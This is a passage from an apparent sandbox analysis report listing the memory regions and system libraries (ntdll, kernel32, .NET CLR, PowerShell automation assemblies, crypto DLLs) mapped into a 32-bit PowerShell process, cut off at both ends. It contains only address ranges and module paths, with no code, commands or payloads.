"\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1401 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1402 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1403 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 1404 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1405 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1406 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1407 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1421 start_va = 0x460000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 1422 start_va = 0x74880000 end_va = 0x748dbfff monitored = 0 entry_point = 0x748bf9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1423 start_va = 0x748e0000 end_va = 0x7491efff monitored = 0 entry_point = 0x7490e088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1424 start_va = 0x74950000 end_va = 0x74957fff monitored = 0 entry_point = 0x749520f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1425 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 0 entry_point = 0x76c55340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1426 start_va = 0x75d40000 end_va = 0x75e4ffff monitored = 0 entry_point = 0x75d53283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1427 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 0 entry_point = 0x76c55340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1428 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076c40000" filename = "" Region: id = 1429 start_va = 0x76d60000 end_va = 0x76e59fff monitored = 0 entry_point = 0x76d7a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1430 start_va = 0x76d60000 end_va = 0x76e59fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076d60000" filename = "" Region: id = 1431 start_va = 0x4e0000 end_va = 0x75ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 1432 start_va = 0x75d40000 end_va = 0x75e4ffff monitored = 0 entry_point = 0x75d53283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1433 start_va = 0x75150000 end_va = 0x75196fff monitored = 0 entry_point = 0x751574c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1434 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1435 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1436 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1502 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1503 start_va = 0x70000 end_va = 0xd6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1504 start_va = 0x75ca0000 end_va = 0x75d3ffff monitored = 0 entry_point = 0x75cb49e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1505 start_va = 0x74cf0000 end_va = 0x74d9bfff monitored = 0 entry_point = 0x74cfa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1506 start_va = 0x753d0000 end_va = 0x753e8fff monitored = 0 entry_point = 0x753d4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1507 start_va = 0x75710000 end_va = 0x757fffff monitored = 0 entry_point = 0x75720569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1508 start_va = 0x74b90000 end_va = 0x74beffff monitored = 0 entry_point = 0x74baa3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1509 start_va = 0x74b80000 end_va = 0x74b8bfff monitored = 0 entry_point = 0x74b810e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1510 start_va = 0x72360000 end_va = 0x72373fff monitored = 0 entry_point = 0x72361da9 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\SysWOW64\\atl.dll" (normalized: "c:\\windows\\syswow64\\atl.dll") Region: id = 1511 start_va = 0x75b00000 end_va = 0x75bfffff monitored = 0 entry_point = 0x75b1b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1512 start_va = 0x74e80000 end_va = 0x74f0ffff monitored = 0 entry_point = 0x74e96343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1513 start_va = 0x77010000 end_va = 0x77019fff monitored = 0 entry_point = 0x770136a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1514 start_va = 0x74bf0000 end_va = 0x74c8cfff monitored = 0 entry_point = 0x74c23fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1515 start_va = 0x75270000 end_va = 0x753cbfff monitored = 0 entry_point = 0x752bba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 1516 start_va = 0x758a0000 end_va = 0x7592efff monitored = 0 entry_point = 0x758a3fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 1517 start_va = 0x74a20000 end_va = 0x74a69fff monitored = 1 entry_point = 0x74a22e54 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll") Region: id = 1518 start_va = 0x130000 end_va = 0x17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 1519 start_va = 0x130000 end_va = 0x14dfff monitored = 0 entry_point = 0x14158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1520 start_va = 0x170000 end_va = 0x17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 1521 start_va = 0x760000 end_va = 0x8e7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000760000" filename = "" Region: id = 1522 start_va = 0x130000 end_va = 0x14dfff monitored = 0 entry_point = 0x14158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1523 start_va = 0x75c40000 end_va = 0x75c9ffff monitored = 0 entry_point = 0x75c5158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1524 start_va = 0x751a0000 end_va = 0x7526bfff monitored = 0 entry_point = 0x751a168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1533 start_va = 0xae0000 end_va = 0xc60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ae0000" filename = "" Region: id = 1534 start_va = 0xc70000 end_va = 0x206ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c70000" filename = "" Region: id = 1549 start_va = 0x30000 end_va = 0x32fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "powershell.exe.mui" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\en-US\\powershell.exe.mui" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\en-us\\powershell.exe.mui") Region: id = 1550 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 1551 start_va = 0x130000 end_va = 0x130fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 1552 start_va = 0x2e0000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 1553 start_va = 0x2070000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002070000" filename = "" Region: id = 1568 start_va = 0x74990000 end_va = 0x74a1cfff monitored = 1 entry_point = 0x749a2860 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll") Region: id = 1569 start_va = 0x72bf0000 end_va = 0x72bf2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 1570 start_va = 0x74c90000 end_va = 0x74ce6fff monitored = 0 entry_point = 0x74ca9ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 1571 start_va = 0x73b80000 end_va = 0x73b88fff monitored = 0 entry_point = 0x73b81220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 1584 start_va = 0x712b0000 end_va = 0x71a5efff monitored = 1 entry_point = 0x712cd0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 1585 start_va = 0x712b0000 end_va = 0x71a5efff monitored = 1 entry_point = 0x712cd0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 1586 start_va = 0x712b0000 end_va = 0x71a5efff monitored = 1 entry_point = 0x712cd0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 1587 start_va = 0x74970000 end_va = 0x74983fff monitored = 0 entry_point = 0x7497ac00 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\SysWOW64\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\syswow64\\vcruntime140_clr0400.dll") Region: id = 1588 start_va = 0x723c0000 end_va = 0x7246afff monitored = 0 entry_point = 0x72455f20 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\SysWOW64\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\syswow64\\ucrtbase_clr0400.dll") Region: id = 1592 start_va = 0x140000 end_va = 0x140fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 1630 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 1631 start_va = 0x160000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 1632 start_va = 0x180000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 1633 start_va = 0x190000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 1634 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 1635 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 1636 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 1637 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 1638 start_va = 0x2260000 end_va = 0x247ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 1639 start_va = 0x1e0000 end_va = 0x28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1640 start_va = 0x300000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 1641 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 1642 start_va = 0x550000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 1643 start_va = 0x660000 end_va = 0x75ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 1644 start_va = 0x7efd8000 end_va = 0x7efdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 1650 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1651 start_va = 0x250000 end_va = 0x28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 1652 start_va = 0x2480000 end_va = 0x447ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 1653 start_va = 0x1e0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1654 start_va = 0x4f0000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 1655 start_va = 0x620000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 1656 start_va = 0x7efd5000 end_va = 0x7efd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 1665 start_va = 0x360000 end_va = 0x39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 1666 start_va = 0x3e0000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 1667 start_va = 0x7efad000 end_va = 0x7efaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 1675 start_va = 0x4480000 end_va = 0x474efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1676 start_va = 0x6fea0000 end_va = 0x712aafff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll") Region: id = 1679 start_va = 0x200000 end_va = 0x20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1682 start_va = 0x8f0000 end_va = 0xa4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008f0000" filename = "" Region: id = 1685 start_va = 0x210000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 1686 start_va = 0x6f440000 end_va = 0x6fe94fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\2c3c912ea8f058f9d04c4650128feb3f\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\2c3c912ea8f058f9d04c4650128feb3f\\system.ni.dll") Region: id = 1690 start_va = 0x6ddb0000 end_va = 0x6e5c7fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\31fae3290fad30c31c98651462d22724\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\31fae3290fad30c31c98651462d22724\\system.core.ni.dll") Region: id = 1692 start_va = 0x71c10000 end_va = 0x71c9efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.consolehost.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Pb378ec07#\\731848746c032af3ce33577b793c9b9c\\Microsoft.PowerShell.ConsoleHost.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.pb378ec07#\\731848746c032af3ce33577b793c9b9c\\microsoft.powershell.consolehost.ni.dll") Region: id = 1693 start_va = 0x73950000 end_va = 0x73966fff monitored = 0 entry_point = 0x73953573 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 1709 start_va = 0x3a0000 end_va = 0x3dbfff monitored = 0 entry_point = 0x3a128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1710 start_va = 0x3a0000 end_va = 0x3dbfff monitored = 0 entry_point = 0x3a128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1711 start_va = 0x3a0000 end_va = 0x3dbfff monitored = 0 entry_point = 0x3a128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1712 start_va = 0x3a0000 end_va = 0x3dbfff monitored = 0 entry_point = 0x3a128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1713 start_va = 0x3a0000 end_va = 0x3dbfff monitored = 0 entry_point = 0x3a128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1714 start_va = 0x73910000 end_va = 0x7394afff monitored = 0 entry_point = 0x7391128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1718 start_va = 0x6bb40000 end_va = 0x6d622fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.management.automation.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Manaa57fc8cc#\\a68aa6199c81feadf8c95a4ea0254b2c\\System.Management.Automation.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.manaa57fc8cc#\\a68aa6199c81feadf8c95a4ea0254b2c\\system.management.automation.ni.dll") Region: id = 1719 start_va = 0x590000 end_va = 0x5f1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorrc.dll") Region: id = 1736 start_va = 0x9a0000 end_va = 0x9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009a0000" filename = "" Region: id = 1737 start_va = 0xa10000 end_va = 0xa4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 1738 start_va = 0x20b0000 end_va = 0x20effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020b0000" filename = "" Region: id = 1739 start_va = 0x2170000 end_va = 0x21affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002170000" filename = "" Region: id = 1740 start_va = 0x2220000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 1741 start_va = 0x22b0000 end_va = 0x22effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 1742 start_va = 0x2440000 end_va = 0x247ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002440000" filename = "" Region: id = 1743 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 1744 start_va = 0x7efaa000 end_va = 0x7efacfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 1749 start_va = 0x723a0000 end_va = 0x723b2fff monitored = 1 entry_point = 0x723ad900 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll") Region: id = 1750 start_va = 0x4750000 end_va = 0x4a21fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sortdefault.nlp") Region: id = 1752 start_va = 0x6b430000 end_va = 0x6bb3bfff monitored = 1 entry_point = 0x6ba4f392 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 1753 start_va = 0x6b430000 end_va = 0x6bb3bfff monitored = 1 entry_point = 0x6ba4f392 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 1754 start_va = 0x22f0000 end_va = 0x23affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 1764 start_va = 0x6b430000 end_va = 0x6bb3bfff monitored = 1 entry_point = 0x6ba4f392 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 1765 start_va = 0x6ad20000 end_va = 0x6b42bfff monitored = 1 entry_point = 0x6b33f392 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 1767 start_va = 0x75800000 end_va = 0x75804fff monitored = 0 entry_point = 0x75801438 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 1773 start_va = 0x75ff0000 end_va = 0x76c39fff monitored = 0 entry_point = 0x76071601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 1774 start_va = 0x220000 end_va = 0x220fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 1776 start_va = 0x74f10000 end_va = 0x74f3efff monitored = 0 entry_point = 0x74f12a35 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\SysWOW64\\wintrust.dll" (normalized: "c:\\windows\\syswow64\\wintrust.dll") Region: id = 1777 start_va = 0x74fc0000 end_va = 0x750e0fff monitored = 0 entry_point = 0x74fc158e region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 1778 start_va = 0x75810000 end_va = 0x7581bfff monitored = 0 entry_point = 0x7581238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 1794 start_va = 0x2110000 end_va = 0x214ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002110000" filename = "" Region: id = 1795 start_va = 0x4a60000 end_va = 0x4a9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a60000" filename = "" Region: id = 1796 start_va = 0x7efa4000 end_va = 0x7efa6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 1797 start_va = 0x230000 end_va = 0x237fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 1798 start_va = 0x72350000 end_va = 0x72357fff monitored = 0 entry_point = 0x72353bf5 region_type = mapped_file name = "msisip.dll" filename = "\\Windows\\SysWOW64\\msisip.dll" (normalized: "c:\\windows\\syswow64\\msisip.dll") Region: id = 1799 start_va = 0x4aa0000 end_va = 0x4e9ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004aa0000" filename = "" Region: id = 1800 start_va = 0x240000 end_va = 0x247fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = 